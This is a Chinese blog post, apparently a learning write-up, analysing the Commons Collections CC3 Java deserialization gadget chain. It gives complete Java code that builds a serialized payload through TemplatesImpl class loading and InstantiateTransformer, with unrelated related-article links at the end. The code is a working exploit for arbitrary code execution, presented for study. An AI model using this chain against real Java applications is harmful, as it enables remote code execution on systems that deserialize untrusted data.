CC3
cc_link_three
0x00前言
这里要单独学cc链子三是因为它的调用方式不是执行命令而是代码执行,是一种动态类加载机制来执行代码,然后类加载的时候要用类加载器
0x01开整
首先明白调用机制loadClass---findClass---defineclass这三个流程
就再dfineClass的时候执行代码块之类的嘛所以我们找找defineClass有没有利用的的点,找了很多defineClass都是私有的和保护的我们要找一个公开的方法
最后在com.sun.org.apache.xalan.internal.xsltc.trax包下面发现了这个class的方法,只能在本包下访问的限制,然后再追进去看看
然后继续往上调用找到了

然后继续向上寻找有三个值,看看三个值有没有代码执行的可能性

最后在第三个调用哪里发现了一个类加载的机制newInstance()

然而它还是私有的继续往上找一下找到了上一层就发现了公开的方法

这条链子大概就是这样发现了,然后就执行到这个newInstance()然后执行对应文件的代码就可以加载到
开始手搓
确定一下代码执行的地方
先确定一下这个类它确定是继承了这些类的,是可以序列化的

然后确定一下各个位置的值是怎么判断的
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
- _name需要能为空因为我们要继续向下追踪
然后追下去发现

因为我们要调用definclass嘛然后所以_bytecodes也不能为空
_tfactory需要调用_getExternalExtensionsMap()方法所以它也不能为空不然会出现空指针异常的问题
然后就写个正面的payload来看一下嘛
public class cc_link_3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
然后在执行的时候爆了空指针异常嘛可能就是因为在defineclass那个函数里面有些值的赋值没有赋值好

在这个点解读一下就是我们加载的类的父类的名称必须是

在下面这个点的时候

调用了一个put方法然后再这个参数这个时候是空的所以存在空指针异常
这里我们绕过的方式就有两种第一种是让他不进入循环然后去跳开那个if然后给下面空指针那个属性赋一个值,但是我们在后面看来后面还有一个对t_transletIndex进行一个判断的函数,然后再上面那个if还是对_transletIndex变成了-1还是很有用的,所以我们还是进入这个if循环所以给我们的test增加一个AbstrancTranslet的父类

这样就能达到执行代码的效果咯,这条链子的意思呢就是我们只要调用了Templateslmpl.newTransformer方法就可以执行任意代码它有可以执行代码我们就可以直接利用cc链1的transfrom方法去调用
绕过Invokertransfromer
然后其实要执行方法的话我们就想到直接可以用cc链子1或者六的链子直接调用那个方法就行了,然后因为那个方法又是公开的方法所以一直接再invoketransform里面执行就行了然后就可以沿着cc链子继续网上走,这条链子就是去解决runtime被禁止序列化以后的方法去执行调用
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
还有一个问题当我们的核心方法invoketrasnform被ban掉以后我们这条链子就完全断点了,但是我们其实还是有其他方法来继续执行这个代码的就是继续上找一下找到其他方法去调用newTransformer方法
一顿操作以后

直接找到了这个函数发现了构造函数是可以构造的地方,然后直接通过传参的方式获取,但是呢这个类又没有继承可以序列接口,所以我也不知道作者是怎么找到的这个方法

确定链头
在InstantiateTransformer这个类里面的它的构造方法存我们可以构造传入的参数值,而且它的transform还可以调用newInstance,到这里我们基本就完成了我们用URLdns那条链子来作为链头部
整体的调用过程
- HashMap.readObject
- TiedMapEntry.hashCode
- LazyMap.decorate
- ChainedTransformer.transform()
- InstantiateTransformer.transform()
- TrAXFilter
- Transformer.newTransformer()
- 动态类加载来执行(defineClass)
这条链子重要的就是绕开了Invoketransformer
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//在这里是InstantiateTransforme的获取构造器的方法然后用TrAXFilter调用构造器之后就可以构造出函数
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin");
}
0x02小结
CC3 链作为另外一种命令执行的方式,在原本黑名单的机会当中溜了出来,确实牛逼。作为利用类加载机制的执行方式,前面的触发头又有了多种可能,是值得学习一下的
CC3的更多相关文章
- CC3的多列属性Multi-column
CC3的多列属性Multi-column 一直都很想了解这个属性,总是忘了.今天可以研究一下,回想起想了解它的原因,大概是觉得它很容易分开几列.可能会有很多好处和方便. 0 16-09-17 1 16 ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- Java安全之CC3
前言 上一篇文章学习了Java中加载字节码的⼀些⽅法,其中介绍了TemplatesImpl,TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执 ...
- CC3中的2D转换
2D转换方法: translate() rotate() scale() skew() matrix() 1.translate()方法,根据左(X轴)和顶部(Y轴)位置给定的参数,从当前元素位置移动 ...
- SASS教程sass超详细教程
SASS安装及使用(sass教程.详细教程) 采用SASS开发CSS,可以提高开发效率. SASS建立在Ruby的基础之上,所以得先安装Ruby. Ruby的安装: 安装 rubyinstaller- ...
- spring boot(二):web综合开发
上篇文章介绍了Spring boot初级教程:spring boot(一):入门篇,方便大家快速入门.了解实践Spring boot特性:本篇文章接着上篇内容继续为大家介绍spring boot的其它 ...
- 前端css框架SASS使用教程(转)
一.什么是SASS SASS是一种CSS的开发工具,提供了许多便利的写法,大大节省了设计者的时间,使得CSS的开发,变得简单和可维护. 本文总结了SASS的主要用法.我的目标是,有了这篇文章,日常的一 ...
- SASS 入门笔记
参考资料: SASS 用法指南 SASS 语法 Sass Basics SASS_REFERENCE sass 有两种后缀名文件:一种后缀名为 sass,不使用大括号和分号:另一种就是我们这里使用的 ...
- 【krpano】krpano xml资源解密(破解)软件说明与下载(v1.4)
欢迎加入qq群551278936讨论krpano技术以及获取最新软件. 该软件已经不再维护,现在已经被KRPano资源分析工具取代,详情参见 http://www.cnblogs.com/reac ...
随机推荐
- 图床搭建|chrome插件|操作简单不要钱
为什么需要一个图床 为了写博客 图床:专门用来存放图片,同时允许你把图片对外连接的网上空间. 用markdown格式写作,插入图片需要图片的url地址,然后博客的背景图也是要用url地址. 有段时间, ...
- 【JDBC】学习路径4-分页查询
第一章:什么是分页查询呢? 简而言之,分页数 就是百度搜索引擎中的网页的页数. 分页查询,就是从数据库中提取一部分出来,给用户. 用处:减少服务器负担. 为了方便测试,我们先给数据库添加大量信息. 还 ...
- 业务流程可视化-让你的流程图"Run"起来(7.运行状态持久化&轻量工作流支持)
前言 感谢大家阅读本项目系列文章和对项目的支持.分享一下我对这个项目的新的改进. 之前项目做到了流程设计可视化和流程运行结果可视化. 本期发布的版本中实现了中间的运行过程的实时可视化,和流程状态持久化 ...
- good thing
- Linux面试题 系统启动流程
BIOS:基本输入输出系统,帮助我们初始化硬件 硬盘分区有两类:MBR和GPT ; MBR单块硬盘不能大于2T,主分区的数量不能超过4个:MBR方案存储在第一个扇区的前446个字节(共512字节,后面 ...
- Linux安装LibreCAD
目录 目录 添加软件源并更新软件列表 sudo add-apt-repository ppa:librecad-dev/librecad-daily sudo add-apt-repository p ...
- alter role 导致的数据库无法登录问题
ALTER ROLE 用于更改一个数据库角色.只要改角色后续开始一个新会话,指定的值将会成为该会话的默认值,并且会覆盖 kingbase.conf中存在的值或者从命令行收到的值. 显性的更改角色的一 ...
- bean的作用域解析
说明 意义 1.在Spring中,Bean的作用域可以通过scope属性来指定. 2.指定作用域的目的是 存储在此类单例bean的高速缓存中,并且对该命名bean的所有后续请求和引用都返回该高速 ...
- C语言001--hello world编译详解
1.编写hello.c程序,并编译运行 book@100ask:~/linux/c01$ cat hello.c -n 1 #include <stdio.h> 2 3 int main( ...
- python基础__十大经典排序算法
用Python实现十大经典排序算法! 排序算法是<数据结构与算法>中最基本的算法之一.排序算法可以分为内部排序和外部排序,内部排序是数据记录在内存中进行排序,而外部排序是因排序的数据很大, ...